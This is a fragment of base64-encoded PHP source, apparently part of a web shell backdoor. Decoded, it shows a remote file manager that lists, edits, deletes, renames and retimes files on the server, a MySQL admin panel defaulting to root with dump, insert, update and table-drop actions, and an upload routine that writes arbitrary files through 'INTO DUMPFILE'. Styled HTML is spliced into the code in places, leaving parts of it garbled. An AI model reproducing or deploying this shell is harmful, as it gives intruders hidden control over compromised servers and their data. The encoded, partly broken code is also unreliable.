CcpOyIgdGl0bGU9IlNpemU6Jy5zaXplY291bnQoJGRyaXZlLT5Ub3RhbFNpemUpLicmIzEzO0ZyZWU6Jy5zaXplY291bnQoJGRyaXZlLT5GcmVlU3BhY2UpLicmIzEzO1R5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOw0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQogICAgDQoJLy8jJiMxMDk3Oyt8LSArLSsrLXwrLSsgfC0tKy0rDQoJJGRpcmRhdGE9YXJyYXkoKTsNCgkkZmlsZWRhdGE9YXJyYXkoKTsNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOw0KCX0gZWxzZSB7DQoJCS8vIC0rLSstLSMmIzExMDE7DQoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7DQoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpew0KCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRkaXJkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYXRhW109JGRpcmRiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCgkJCQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsNCgkJCX0NCgkJfS8vIHdoaWxlDQoJCXVuc2V0KCRkaXJkYik7DQoJCXVuc2V0KCRmaWxlZGIpOw0KCQlAY2xvc2VkaXIoJGRpcnMpOw0KCX0NCglAc29ydCgkZGlyZGF0YSk7DQoJQHNvcnQoJGZpbGVkYXRhKTsNCgkkZGlyX2kgPSAnMCc7DQoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7DQoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7DQoJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IldpbmdkaW5ncyAzIiBzaXplPTQ+PTwvZm9udD48L3RkPjx0ZCBub3dyYXAgY29sc3Bhbj0iNSI+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuZ2V0VXBQYXRoKCRub3dwYXRoKS4nXCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+IDxsZWZ0Pjxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OndoaXRlIDBweCAwcHggOHB4OyBjb2xvcjp3aGl0ZSI+PGZvbnQgY29sb3I9cmVkPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPHRyIGJnY29sb3I9IiNkZGRkZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7DQoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgndGhlZmlsZScpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgkkZmlsZV9pID0gJzAnOw0KCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7DQoJCWlmKCRmaWxlZGJbJzxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdD48YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpsaWdodHN0ZWVsYmx1ZSAwcHggMHB4IDhweDsgY29sb3I6ZGFya3NsYXRlYmx1ZSI+PGZvbnQgY29sb3I9cmVkPmZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KCWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRvaW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9PidkYmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglwKCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlkZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbSh